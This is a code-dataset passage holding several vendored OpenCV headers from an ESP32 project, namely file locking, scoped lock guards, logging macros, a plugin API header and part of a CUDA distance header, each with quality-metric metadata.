"qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/filesystem.private.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_UTILS_FILESYSTEM_PRIVATE_HPP
#define OPENCV_UTILS_FILESYSTEM_PRIVATE_HPP
// TODO Move to CMake?
#ifndef OPENCV_HAVE_FILESYSTEM_SUPPORT
# if defined(__EMSCRIPTEN__) || defined(__native_client__)
/* no support */
# elif defined WINRT || defined _WIN32_WCE
/* not supported */
# elif defined __ANDROID__ || defined __linux__ || defined _WIN32 || \
defined __FreeBSD__ || defined __bsdi__ || defined __HAIKU__
# define OPENCV_HAVE_FILESYSTEM_SUPPORT 1
# elif defined(__APPLE__)
# include <TargetConditionals.h>
# if (defined(TARGET_OS_OSX) && TARGET_OS_OSX) || (!defined(TARGET_OS_OSX) && !TARGET_OS_IPHONE)
# define OPENCV_HAVE_FILESYSTEM_SUPPORT 1 // OSX only
# endif
# else
/* unknown */
# endif
# ifndef OPENCV_HAVE_FILESYSTEM_SUPPORT
# define OPENCV_HAVE_FILESYSTEM_SUPPORT 0
# endif
#endif
#if OPENCV_HAVE_FILESYSTEM_SUPPORT
namespace cv { namespace utils { namespace fs {
/**
* File-based lock object.
*
* Provides interprocess synchronization mechanism.
* Platform dependent.
*
* Supports multiple readers / single writer access pattern (RW / readers–writer / shared-exclusive lock).
*
* File must exist.
* File can't be re-used (for example, I/O operations via std::fstream is not safe)
*/
class CV_EXPORTS FileLock {
public:
explicit FileLock(const char* fname);
~FileLock();
void lock(); //< acquire exclusive (writer) lock
void unlock(); //< release exclusive (writer) lock
void lock_shared(); //< acquire shareable (reader) lock
void unlock_shared(); //< release shareable (reader) lock
struct Impl;
protected:
Impl* pImpl;
private:
FileLock(const FileLock&); // disabled
FileLock& operator=(const FileLock&); // disabled
};
}}} // namespace
#endif
#endif // OPENCV_UTILS_FILESYSTEM_PRIVATE_HPP
| 2,025 | filesystem.private | hpp | en | cpp | code | {"qsc_code_num_words": 251, "qsc_code_num_chars": 2025.0, "qsc_code_mean_word_length": 5.52191235, "qsc_code_frac_words_unique": 0.49800797, "qsc_code_frac_chars_top_2grams": 0.04329004, "qsc_code_frac_chars_top_3grams": 0.08658009, "qsc_code_frac_chars_top_4grams": 0.11688312, "qsc_code_frac_chars_dupe_5grams": 0.22510823, "qsc_code_frac_chars_dupe_6grams": 0.08658009, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00420926, "qsc_code_frac_chars_whitespace": 0.17876543, "qsc_code_size_file_byte": 2025.0, "qsc_code_num_lines": 66.0, "qsc_code_num_chars_line_max": 107.0, "qsc_code_num_chars_line_mean": 30.68181818, "qsc_code_frac_chars_alphabet": 0.82862297, "qsc_code_frac_chars_comments": 0.40790123, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.18181818, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.01515152, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.21212121, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.24242424, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 1, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/lock.private.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_UTILS_LOCK_HPP
#define OPENCV_UTILS_LOCK_HPP
namespace cv { namespace utils {
/** @brief A simple scoped lock (RAII-style locking for exclusive/write access).
*
* Emulate std::lock_guard (C++11), partially std::unique_lock (C++11),
*/
template <class _Mutex>
class lock_guard {
public:
typedef _Mutex Mutex;
explicit inline lock_guard(Mutex &m) : mutex_(&m) { mutex_->lock(); }
inline ~lock_guard() { if (mutex_) mutex_->unlock(); }
inline void release()
{
CV_DbgAssert(mutex_);
mutex_->unlock();
mutex_ = NULL;
}
private:
Mutex* mutex_;
private:
lock_guard(const lock_guard&); // disabled
lock_guard& operator=(const lock_guard&); // disabled
};
/** @brief A shared scoped lock (RAII-style locking for shared/reader access).
*
* Emulate boost::shared_lock_guard, subset of std::shared_lock (C++14),
*/
template <class _Mutex>
class shared_lock_guard {
public:
typedef _Mutex Mutex;
explicit inline shared_lock_guard(Mutex &m) : mutex_(&m) { mutex_->lock_shared(); }
inline ~shared_lock_guard() { if (mutex_) mutex_->unlock_shared(); }
inline void release()
{
CV_DbgAssert(mutex_);
mutex_->unlock_shared();
mutex_ = NULL;
}
protected:
Mutex* mutex_;
private:
shared_lock_guard(const shared_lock_guard&); // disabled
shared_lock_guard& operator=(const shared_lock_guard&); // disabled
};
/** @brief An optional simple scoped lock (RAII-style locking for exclusive/write access).
*
* Doesn't lock if mutex pointer is NULL.
*
* @sa lock_guard
*/
template <class _Mutex>
class optional_lock_guard {
public:
typedef _Mutex Mutex;
explicit inline optional_lock_guard(Mutex* m) : mutex_(m) { if (mutex_) mutex_->lock(); }
inline ~optional_lock_guard() { if (mutex_) mutex_->unlock(); }
private:
Mutex* mutex_;
private:
optional_lock_guard(const optional_lock_guard&); // disabled
optional_lock_guard& operator=(const optional_lock_guard&); // disabled
};
/** @brief An optional shared scoped lock (RAII-style locking for shared/reader access).
*
* Doesn't lock if mutex pointer is NULL.
*
* @sa shared_lock_guard
*/
template <class _Mutex>
class optional_shared_lock_guard {
public:
typedef _Mutex Mutex;
explicit inline optional_shared_lock_guard(Mutex* m) : mutex_(m) { if (mutex_) mutex_->lock_shared(); }
inline ~optional_shared_lock_guard() { if (mutex_) mutex_->unlock_shared(); }
protected:
Mutex* mutex_;
private:
optional_shared_lock_guard(const optional_shared_lock_guard&); // disabled
optional_shared_lock_guard& operator=(const optional_shared_lock_guard&); // disabled
};
}} // namespace
#endif // OPENCV_UTILS_LOCK_HPP
| 2,951 | lock.private | hpp | en | cpp | code | {"qsc_code_num_words": 384, "qsc_code_num_chars": 2951.0, "qsc_code_mean_word_length": 5.078125, "qsc_code_frac_words_unique": 0.20833333, "qsc_code_frac_chars_top_2grams": 0.14769231, "qsc_code_frac_chars_top_3grams": 0.12307692, "qsc_code_frac_chars_top_4grams": 0.0825641, "qsc_code_frac_chars_dupe_5grams": 0.63230769, "qsc_code_frac_chars_dupe_6grams": 0.55076923, "qsc_code_frac_chars_dupe_7grams": 0.45333333, "qsc_code_frac_chars_dupe_8grams": 0.40615385, "qsc_code_frac_chars_dupe_9grams": 0.26666667, "qsc_code_frac_chars_dupe_10grams": 0.18153846, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00248756, "qsc_code_frac_chars_whitespace": 0.18264995, "qsc_code_size_file_byte": 2951.0, "qsc_code_num_lines": 119.0, "qsc_code_num_chars_line_max": 108.0, "qsc_code_num_chars_line_mean": 24.79831933, "qsc_code_frac_chars_alphabet": 0.80597015, "qsc_code_frac_chars_comments": 0.32870213, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.52631579, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.03508772, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.10526316, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.1754386, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/logger.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_LOGGER_HPP
#define OPENCV_LOGGER_HPP
#include <iostream>
#include <sstream>
#include <limits.h> // INT_MAX
#include "logger.defines.hpp"
#include "logtag.hpp"
namespace cv {
namespace utils {
namespace logging {
//! @addtogroup core_logging
//! @{
/** Set global logging level
@return previous logging level
*/
CV_EXPORTS LogLevel setLogLevel(LogLevel logLevel);
/** Get global logging level */
CV_EXPORTS LogLevel getLogLevel();
CV_EXPORTS void registerLogTag(cv::utils::logging::LogTag* plogtag);
CV_EXPORTS void setLogTagLevel(const char* tag, cv::utils::logging::LogLevel level);
CV_EXPORTS cv::utils::logging::LogLevel getLogTagLevel(const char* tag);
namespace internal {
/** Get global log tag */
CV_EXPORTS cv::utils::logging::LogTag* getGlobalLogTag();
/** Write log message */
CV_EXPORTS void writeLogMessage(LogLevel logLevel, const char* message);
/** Write log message */
CV_EXPORTS void writeLogMessageEx(LogLevel logLevel, const char* tag, const char* file, int line, const char* func, const char* message);
} // namespace
struct LogTagAuto
: public LogTag
{
inline LogTagAuto(const char* _name, LogLevel _level)
: LogTag(_name, _level)
{
registerLogTag(this);
}
};
/**
* \def CV_LOG_STRIP_LEVEL
*
* Define CV_LOG_STRIP_LEVEL=CV_LOG_LEVEL_[DEBUG|INFO|WARN|ERROR|FATAL|SILENT] to compile out anything at that and before that logging level
*/
#ifndef CV_LOG_STRIP_LEVEL
# if defined NDEBUG
# define CV_LOG_STRIP_LEVEL CV_LOG_LEVEL_DEBUG
# else
# define CV_LOG_STRIP_LEVEL CV_LOG_LEVEL_VERBOSE
# endif
#endif
#define CV_LOGTAG_PTR_CAST(expr) static_cast<const cv::utils::logging::LogTag*>(expr)
// CV_LOGTAG_EXPAND_NAME is intended to be re-defined (undef and then define again)
// to allows logging users to use a shorter name argument when calling
// CV_LOG_WITH_TAG or its related macros such as CV_LOG_INFO.
//
// This macro is intended to modify the tag argument as a string (token), via
// preprocessor token pasting or metaprogramming techniques. A typical usage
// is to apply a prefix, such as
// ...... #define CV_LOGTAG_EXPAND_NAME(tag) cv_logtag_##tag
//
// It is permitted to re-define to a hard-coded expression, ignoring the tag.
// This would work identically like the CV_LOGTAG_FALLBACK macro.
//
// Important: When the logging macro is called with tag being NULL, a user-defined
// CV_LOGTAG_EXPAND_NAME may expand it into cv_logtag_0, cv_logtag_NULL, or
// cv_logtag_nullptr. Use with care. Also be mindful of C++ symbol redefinitions.
//
// If there is significant amount of logging code with tag being NULL, it is
// recommended to use (re-define) CV_LOGTAG_FALLBACK to inject locally a default
// tag at the beginning of a compilation unit, to minimize lines of code changes.
//
#define CV_LOGTAG_EXPAND_NAME(tag) tag
// CV_LOGTAG_FALLBACK is intended to be re-defined (undef and then define again)
// by any other compilation units to provide a log tag when the logging statement
// does not specify one. The macro needs to expand into a C++ expression that can
// be static_cast into (cv::utils::logging::LogTag*). Null (nullptr) is permitted.
#define CV_LOGTAG_FALLBACK nullptr
// CV_LOGTAG_GLOBAL is the tag used when a log tag is not specified in the logging
// statement nor the compilation unit. The macro needs to expand into a C++
// expression that can be static_cast into (cv::utils::logging::LogTag*). Must be
// non-null. Do not re-define.
#define CV_LOGTAG_GLOBAL cv::utils::logging::internal::getGlobalLogTag()
#define CV_LOG_WITH_TAG(tag, msgLevel, ...) \
for(;;) { \
const auto cv_temp_msglevel = (cv::utils::logging::LogLevel)(msgLevel); \
if (cv_temp_msglevel >= (CV_LOG_STRIP_LEVEL)) break; \
auto cv_temp_logtagptr = CV_LOGTAG_PTR_CAST(CV_LOGTAG_EXPAND_NAME(tag)); \
if (!cv_temp_logtagptr) cv_temp_logtagptr = CV_LOGTAG_PTR_CAST(CV_LOGTAG_FALLBACK); \
if (!cv_temp_logtagptr) cv_temp_logtagptr = CV_LOGTAG_PTR_CAST(CV_LOGTAG_GLOBAL); \
if (cv_temp_logtagptr && (cv_temp_msglevel > cv_temp_logtagptr->level)) break; \
std::stringstream cv_temp_logstream; \
cv_temp_logstream << __VA_ARGS__; \
cv::utils::logging::internal::writeLogMessageEx( \
cv_temp_msglevel, \
(cv_temp_logtagptr ? cv_temp_logtagptr->name : nullptr), \
__FILE__, \
__LINE__, \
CV_Func, \
cv_temp_logstream.str().c_str()); \
break; \
}
#define CV_LOG_FATAL(tag, ...) CV_LOG_WITH_TAG(tag, cv::utils::logging::LOG_LEVEL_FATAL, __VA_ARGS__)
#define CV_LOG_ERROR(tag, ...) CV_LOG_WITH_TAG(tag, cv::utils::logging::LOG_LEVEL_ERROR, __VA_ARGS__)
#define CV_LOG_WARNING(tag, ...) CV_LOG_WITH_TAG(tag, cv::utils::logging::LOG_LEVEL_WARNING, __VA_ARGS__)
#define CV_LOG_INFO(tag, ...) CV_LOG_WITH_TAG(tag, cv::utils::logging::LOG_LEVEL_INFO, __VA_ARGS__)
#define CV_LOG_DEBUG(tag, ...) CV_LOG_WITH_TAG(tag, cv::utils::logging::LOG_LEVEL_DEBUG, __VA_ARGS__)
#define CV_LOG_VERBOSE(tag, v, ...) CV_LOG_WITH_TAG(tag, (cv::utils::logging::LOG_LEVEL_VERBOSE + (int)(v)), __VA_ARGS__)
#if CV_LOG_STRIP_LEVEL <= CV_LOG_LEVEL_INFO
# undef CV_LOG_INFO
# define CV_LOG_INFO(tag, ...)
#endif
#if CV_LOG_STRIP_LEVEL <= CV_LOG_LEVEL_DEBUG
# undef CV_LOG_DEBUG
# define CV_LOG_DEBUG(tag, ...)
#endif
#if CV_LOG_STRIP_LEVEL <= CV_LOG_LEVEL_VERBOSE
# undef CV_LOG_VERBOSE
# define CV_LOG_VERBOSE(tag, v, ...)
#endif
//! @}
}}} // namespace
#endif // OPENCV_LOGGER_HPP
| 5,708 | logger | hpp | en | cpp | code | {"qsc_code_num_words": 860, "qsc_code_num_chars": 5708.0, "qsc_code_mean_word_length": 4.58604651, "qsc_code_frac_words_unique": 0.23604651, "qsc_code_frac_chars_top_2grams": 0.04563895, "qsc_code_frac_chars_top_3grams": 0.05679513, "qsc_code_frac_chars_top_4grams": 0.03422921, "qsc_code_frac_chars_dupe_5grams": 0.34127789, "qsc_code_frac_chars_dupe_6grams": 0.27890467, "qsc_code_frac_chars_dupe_7grams": 0.21703854, "qsc_code_frac_chars_dupe_8grams": 0.21703854, "qsc_code_frac_chars_dupe_9grams": 0.19751521, "qsc_code_frac_chars_dupe_10grams": 0.16962475, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00020725, "qsc_code_frac_chars_whitespace": 0.15469516, "qsc_code_size_file_byte": 5708.0, "qsc_code_num_lines": 153.0, "qsc_code_num_chars_line_max": 141.0, "qsc_code_num_chars_line_mean": 37.30718954, "qsc_code_frac_chars_alphabet": 0.81720207, "qsc_code_frac_chars_comments": 0.41082691, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.07594937, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0083259, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.26582278, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.32911392, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/llapi/llapi.h | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_CORE_LLAPI_LLAPI_H
#define OPENCV_CORE_LLAPI_LLAPI_H
/**
@addtogroup core_lowlevel_api
API for OpenCV external plugins:
- HAL accelerators
- VideoIO camera backends / decoders / encoders
- Imgcodecs encoders / decoders
Plugins are usually built separately or before OpenCV (OpenCV can depend on them - like HAL libraries).
Using this approach OpenCV provides some basic low level functionality for external plugins.
@note Preview only (no backward compatibility)
@{
*/
#ifndef CV_API_CALL
//! calling convention (including callbacks)
#define CV_API_CALL
#endif
typedef enum cvResult
{
CV_ERROR_FAIL = -1, //!< Some error occurred (TODO Require to fill exception information)
CV_ERROR_OK = 0 //!< No error
} CvResult;
typedef struct OpenCV_API_Header_t
{
/** @brief valid size of this structure
@details `assert(api.header.valid_size >= sizeof(OpenCV_<Name>_API_v<N>));`
*/
size_t valid_size;
unsigned min_api_version; //!< backward compatible API version
unsigned api_version; //!< provided API version (features)
unsigned opencv_version_major; //!< compiled OpenCV version
unsigned opencv_version_minor; //!< compiled OpenCV version
unsigned opencv_version_patch; //!< compiled OpenCV version
const char* opencv_version_status; //!< compiled OpenCV version
const char* api_description; //!< API description (debug purposes only)
} OpenCV_API_Header;
#if 0
typedef int (CV_API_CALL *cv_example_callback1_cb_t)(unsigned const char* cb_result, void* cb_context);
struct OpenCV_Example_API_v1
{
OpenCV_API_Header header;
/** @brief Some API call
@param param1 description1
@param param2 description2
@note API-CALL 1, API-Version >=1
*/
CvResult (CV_API_CALL *Request1)(int param1, const char* param2);
/** @brief Register callback
@param callback function to handle callback
@param cb_context context data passed to callback function
@param[out] cb_handle callback id (used to unregister callback)
@note API-CALL 2, API-Version >=1
*/
CvResult (CV_API_CALL *RegisterCallback)(cv_example_callback1_cb_t callback, void* cb_context, CV_OUT unsigned* cb_handle);
/** @brief Unregister callback
@param cb_handle callback handle
@note API-CALL 3, API-Version >=1
*/
CvResult (CV_API_CALL *UnegisterCallback)(unsigned cb_handle);
...
};
#endif // 0
//! @}
#endif // OPENCV_CORE_LLAPI_LLAPI_H
| 2,820 | llapi | h | en | c | code | {"qsc_code_num_words": 361, "qsc_code_num_chars": 2820.0, "qsc_code_mean_word_length": 5.19944598, "qsc_code_frac_words_unique": 0.40720222, "qsc_code_frac_chars_top_2grams": 0.03729355, "qsc_code_frac_chars_top_3grams": 0.02876931, "qsc_code_frac_chars_top_4grams": 0.0319659, "qsc_code_frac_chars_dupe_5grams": 0.17741076, "qsc_code_frac_chars_dupe_6grams": 0.08950453, "qsc_code_frac_chars_dupe_7grams": 0.04475226, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0091659, "qsc_code_frac_chars_whitespace": 0.22624113, "qsc_code_size_file_byte": 2820.0, "qsc_code_num_lines": 94.0, "qsc_code_num_chars_line_max": 128.0, "qsc_code_num_chars_line_mean": 30.0, "qsc_code_frac_chars_alphabet": 0.85105408, "qsc_code_frac_chars_comments": 0.40425532, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12820513, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0106383, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.0, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 1, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/cuda/vec_distance.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CUDA_VEC_DISTANCE_HPP
#define OPENCV_CUDA_VEC_DISTANCE_HPP
#include "reduce.hpp"
#include "functional.hpp"
#include "detail/vec_distance_detail.hpp"
/** @file
* @deprecated Use @ref cudev instead.
*/
//! @cond IGNORED
namespace cv { namespace cuda { namespace device
{
template <typename T> struct L1Dist
{
typedef int value_type;
typedef int result_type;
__device__ __forceinline__ L1Dist() : mySum(0) {}
__device__ __forceinline__ void reduceIter(int val1, int val2)
{
mySum = __sad(val1, val2, mySum);
}
template <int THREAD_DIM> __device__ __forceinline__ void reduceAll(int* smem, int tid)
{
reduce<THREAD_DIM>(smem, mySum, tid, plus<int>());
}
__device__ __forceinline__ operator int() const
{
return mySum;
}
int mySum;
};
template <> struct L1Dist<float>
{
